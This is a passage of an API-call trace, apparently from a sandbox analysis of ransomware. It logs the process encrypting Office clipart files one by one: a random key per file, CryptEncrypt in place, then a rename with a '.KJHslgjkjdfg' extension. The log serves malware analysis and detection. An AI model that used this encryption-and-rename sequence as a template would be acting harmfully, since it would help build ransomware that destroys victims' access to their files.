liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.751] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.762] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.762] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.762] GetProcessHeap () returned 0x2ef0000 [0206.762] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.762] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.762] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.763] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.763] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.763] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.763] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.763] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.763] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.763] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.763] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.763] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b38, lpOverlapped=0x0) returned 1 [0206.764] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b40) returned 1 [0206.764] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.764] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b40, lpOverlapped=0x0) returned 1 [0206.765] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.765] SetEndOfFile (hFile=0x130) returned 1 [0206.767] GetProcessHeap () returned 0x2ef0000 [0206.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.767] GetProcessHeap () returned 0x2ef0000 [0206.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.kjhslgjkjdfg")) returned 1 [0206.769] CloseHandle (hObject=0x130) returned 1 [0206.769] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0206.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.771] GetProcessHeap () returned 0x2ef0000 [0206.771] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.771] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.771] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0206.775] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.775] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.775] GetProcessHeap () returned 0x2ef0000 [0206.775] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.775] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.775] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.775] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.776] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.776] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.776] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.776] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x911a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x911a, lpOverlapped=0x0) returned 1 [0206.780] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9120, dwBufLen=0x9120 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9120) returned 1 [0206.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.780] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9120, lpOverlapped=0x0) returned 1 [0206.781] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.781] SetEndOfFile (hFile=0x130) returned 1 [0206.784] GetProcessHeap () returned 0x2ef0000 [0206.784] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.784] GetProcessHeap () returned 0x2ef0000 [0206.784] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.kjhslgjkjdfg")) returned 1 [0206.786] CloseHandle (hObject=0x130) returned 1 [0206.786] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1 [0206.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.787] GetProcessHeap () returned 0x2ef0000 [0206.787] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.788] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.788] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0206.790] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.790] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.790] GetProcessHeap () returned 0x2ef0000 [0206.790] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.790] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.790] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.790] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.790] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.791] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.791] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.791] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.791] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa75a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa75a, lpOverlapped=0x0) returned 1 [0206.792] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa760, dwBufLen=0xa760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa760) returned 1 [0206.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.793] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa760, lpOverlapped=0x0) returned 1 [0206.793] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.793] SetEndOfFile (hFile=0x130) returned 1 [0206.794] GetProcessHeap () returned 0x2ef0000 [0206.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.795] GetProcessHeap () returned 0x2ef0000 [0206.795] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.kjhslgjkjdfg")) returned 1 [0206.796] CloseHandle (hObject=0x130) returned 1 [0206.796] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1 [0206.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.797] GetProcessHeap () returned 0x2ef0000 [0206.798] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.798] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.798] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0206.800] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.800] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.800] GetProcessHeap () returned 0x2ef0000 [0206.800] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.800] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.800] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.800] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.800] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.800] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.801] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.801] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.801] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.801] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.801] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x81ab, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x81ab, lpOverlapped=0x0) returned 1 [0206.802] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x81b0, dwBufLen=0x81b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x81b0) returned 1 [0206.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.803] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x81b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x81b0, lpOverlapped=0x0) returned 1 [0206.803] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.803] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.803] SetEndOfFile (hFile=0x130) returned 1 [0206.806] GetProcessHeap () returned 0x2ef0000 [0206.806] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.806] GetProcessHeap () returned 0x2ef0000 [0206.806] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.806] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.kjhslgjkjdfg")) returned 1 [0206.808] CloseHandle (hObject=0x130) returned 1 [0206.808] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1 [0206.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.809] GetProcessHeap () returned 0x2ef0000 [0206.809] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.809] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xf, lpOverlapped=0x0) returned 1 [0206.839] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.839] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.839] GetProcessHeap () returned 0x2ef0000 [0206.839] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.839] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: 